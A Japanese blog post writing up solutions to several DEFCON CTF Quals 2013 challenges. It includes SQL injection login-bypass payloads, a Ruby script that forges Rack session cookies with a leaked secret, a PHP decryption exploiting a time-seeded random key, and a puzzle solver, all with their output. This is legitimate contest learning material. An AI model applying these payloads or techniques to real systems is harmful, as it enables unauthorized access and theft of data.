DEFCON CTF Quals 2013に参加した

6/16 9:00 -- 6/18 9:00 JSTに行われたDEFCON CTF予選に参加。 相変わらずバイナリが読めないので、比較的多くのチームが解けていたWeb系問題ぐらいしかわからなかった。 バイナリ読解のノウハウが足りない……

以下は適当な解法の説明。他にも自分が解けそうな問題はあったけど、他のチームメンバーが解いたので書きません。

ジャンル名の意味

  • “3dub”, web-based challenges → スリーダブ、WWWのこと
  • “0x41414141”, exploitation → ASCII文字の 'AAAA'
  • “\xff\xe4\xcc”, shellcode → x86の jmp esp int3、スタックの頭にjmpしてbreak
  • “OMGACM”, guerilla programming → oh my god ACM
  • “gnireenigne”, reverse engineering → 右から左に読んで engineering

自分が解いた問題

babysfirst [3dub] for 2 points

SQLインジェクションsqlite_masterテーブルがあることが確認できたので、UNION句でsqlite_masterテーブルのsqlカラムを結合。 表示されたスキーマ情報をもとにUNION句で結合を試みることで解ける。

[admin' OR 1=1 -- ]
=> logged in as root
[admin' OR EXISTS(SELECT 1) -- ]
=> logged in as root
[admin' OR EXISTS(SELECT 1 FROM sqlite_master) -- ]
=> logged in as root
[admin' OR 1=1 UNION SELECT 1 FROM sqlite_master -- ]
=> logged in as 1
[admin' OR 1=1 UNION SELECT sql FROM sqlite_master -- ]
=> logged in as CREATE TABLE keys (value string)
[admin' OR 1=1 UNION SELECT value FROM keys -- ]
=> logged in as The key is: literally online lolling on line WucGesJi

hypeman [3dub] for 3 points

適当にアカウントを作成しログインすると、adminのkeyを表示するリンクがある。 このリンクに飛ぶとエラーとなるが、このときのエラー画面からRack::Session::Cookieが使われていることがわかる。 そこで、githubで公開されているコードを見て、Marshal.dump + Base64 + HMAC-SHA1が使われていることを確認、エラー画面に表示されたrack.session.optionsのsecretも利用して、Burp Proxy等で改ざんしたリクエストを送ることで解ける。

#!/usr/bin/ruby
require 'uri'
require 'cgi'
require 'base64'
require 'openssl'
 
secret = 'wroashsoxDiculReejLykUssyifabEdGhovHabno'
 
params = CGI.parse ARGV[0]
cookie = params['rack.session'][0]
msg, digest = *cookie.split('--')
msg_raw = Base64.decode64(msg)
msg_obj = Marshal.load(msg_raw)
 
msg_obj['user_name'] = 'admin'
msg_raw2 = Marshal.dump(msg_obj)
msg2 = Base64.encode64(msg_raw2)
digest2 = OpenSSL::HMAC::hexdigest('sha1', secret, msg2)
 
puts URI::encode('rack.session=' + msg2 + '--' + digest2)
key
watch out for this Etdeksogav

flagのフォーマットが告知されていたものと少し異なるが、これで通る。

rememberme [3dub] for 4 points

accesscodeがファイル名のmd5となっているので、これを利用してgetfile.phpにgetfile.php自身を読ませることでコードの内容が確認できる。 この内容から、key.txtを読ませたとき、コードに書かれた手順に従って暗号化された出力が得られることがわかる。 乱数のseedがtime()となっているので、HTTPレスポンスのDateヘッダから暗号化時の時刻を取得し、getfile.phpと同じ方法で復号を試みることで解ける。

$ echo -n key.txt | md5sum
65c2a527098e1f7747eec58e1925b453  -
$ wget --save-headers -O key.txt "http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453"
$ less key.txt
HTTP/1.1 200 OK
Date: Sat, 15 Jun 2013 21:11:34 GMT
(snip)
Acces granted to key.txt!<br><br>MuSu5STGmFu02JeF0wxlSDzhREMYIaOESERBiSrUSepfETIPdeNwhisofMtD4g+qNLaBqEYWeMJvHJu/Paxh7A==</body>
(snip)
<?php
$datestr = "Sat, 15 Jun 2013 21:11:34 GMT";
$time = strtotime($datestr);
echo $time . "\n";
 
$ciphertext = "MuSu5STGmFu02JeF0wxlSDzhREMYIaOESERBiSrUSepfETIPdeNwhisofMtD4g+qNLaBqEYWeMJvHJu/Paxh7A==";
$ciphertext = base64_decode($ciphertext);
echo $ciphertext . "\n";
 
srand($time);
$key = rand();
$plaintext_maybe = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $ciphertext, MCRYPT_MODE_CBC);
print $plaintext_maybe . "\n";
$ sudo apt-get install php5 php5-mcrypto
$ php hack.php
PHP Deprecated:  Comments starting with '#' are deprecated in /etc/php5/cli/conf.d/mcrypt.ini on line 1 in Unknown on line 0
1371330694
(raw binary of ciphertext)
PHP Warning:  mcrypt_decrypt(): Attempt to use an empty IV, which is NOT recommend in /root/defcon2013/web4/test.php on line 12
The key is: To boldly go where no one has gone before WMx8reNS

diehard [OMGACM] for 2 points

nnnnnnenwnと進むと、水差し二つ(赤・青)のWater Jug Problem [1] [2] を解けばいいことがわかる。 「赤で汲んで青に注ぐパターン」と「青で汲んで赤に注ぐパターン」のそれぞれの手数を事前に計算し、少ないものを送信するプログラムコードを作成。 これを利用して20回連続で解くと送られてくるメッセージが変わるので、これに対応するコマンドを類推して送るとflagが得られる。 ただし、時間制限(手数制限?)が厳しく、このアルゴリズムではほとんど途中で打ち切られてしまうため、もっと手数を少なくする必要があったものと思われる。

#!/usr/bin/env python
import socket
import re
 
def sr(s, commands, expects=''):
    commands.append('')
    msg = '\n'.join(commands)
    s.sendall(msg)
    print "<<< %s" % msg
    data = ''
    while True:
        data += s.recv(0x1000000)
        print ">>> %s" % data
        if 'You have failed!' in data:
            raise Exception('failed')
        elif expects in data:
            break
    return data
 
def read_problem(s):
    commands = ['n', 'look red jug', 'look blue jug', 'look inscription']
    data = sr(s, commands, expects='gallons on the scale.')
    if 'A key is sitting in the room.' in data:
        commands = ['look key']
        data = sr(s, commands, expects='key')
        raise Exception("*** solved! ***")
    max_red = re.search(r'A red jug holds 0 of (\d+) gallons.', data).group(1)
    max_blue = re.search(r'A blue jug holds 0 of (\d+) gallons.', data).group(1)
    target = re.search(r'To get to the next stage put (\d+) gallons on the scale.', data).group(1)
    return map(int, [max_red, max_blue, target])
 
def solve(s, problem):
    [max_red, max_blue, target] = problem
 
    (red, blue) = (0, 0)
    commands1 = ['get red jug', 'get blue jug']
    while True:
        if red == target:
            commands1.append('put red jug onto scale')
            commands1.append('drop blue jug')
            break
        elif blue == target:
            commands1.append('put blue jug onto scale')
            commands1.append('drop red jug')
            break
 
        if red == 0:
            commands1.append('fill red jug')
            red = max_red
        elif blue == max_blue:
            commands1.append('empty blue jug')
            blue = 0
        else:
            commands1.append('pour red jug into blue jug')
            diff = min(max_blue-blue, red)
            blue += diff
            red -= diff
 
    (red, blue) = (0, 0)
    commands2 = ['get red jug', 'get blue jug']
    while True:
        if red == target:
            commands2.append('put red jug onto scale')
            commands2.append('drop blue jug')
            break
        elif blue == target:
            commands2.append('put blue jug onto scale')
            commands2.append('drop red jug')
            break
 
        if blue == 0:
            commands2.append('fill blue jug')
            blue = max_blue
        elif red == max_red:
            commands2.append('empty red jug')
            red = 0
        else:
            commands2.append('pour blue jug into red jug')
            diff = min(max_red-red, blue)
            red += diff
            blue -= diff
 
    print len(commands1), len(commands2)
    if len(commands1) < len(commands2):
        data = sr(s, commands1, expects='The scale balances perfectly and a door opens to the next room!')
    else:
        data = sr(s, commands2, expects='The scale balances perfectly and a door opens to the next room!')
 
 
HOST = 'diehard.shallweplayaga.me'    # The remote host
PORT = 4001              # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
 
try:
    data = s.recv(4096)
    print ">>> %s" % data
 
    commands = """n
n
n
n
n
n
e
n
w
n
get red jug
get blue jug
fill blue jug
pour blue jug into red jug
empty red jug
pour blue jug into red jug
fill blue jug
pour blue jug into red jug
put blue jug onto scale
drop red jug
""".splitlines()
    sr(s, commands, expects='')
 
    while True:
        problem = read_problem(s)
        solve(s, problem)
except Exception:
    s.close()
    raise
>>> You find yourself in a solid granite chamber filled with hexadecimal writings on the walls.  In the middle of the room sits a small key.
A key is sitting in the room.
<<< look key
>>> You look at a key in the room.
An inscription on the key reads: The key is: yippie kay yay motherfucker 3nc83n89fg

解こうとしたが解けなかった問題

bob [OMGACM] for 4 points

グリッド上のスタートとゴール(複数)を等距離で結ぶ問題。 反復深化で解くコードを書いたものの、うまくいかず時間切れ。無念。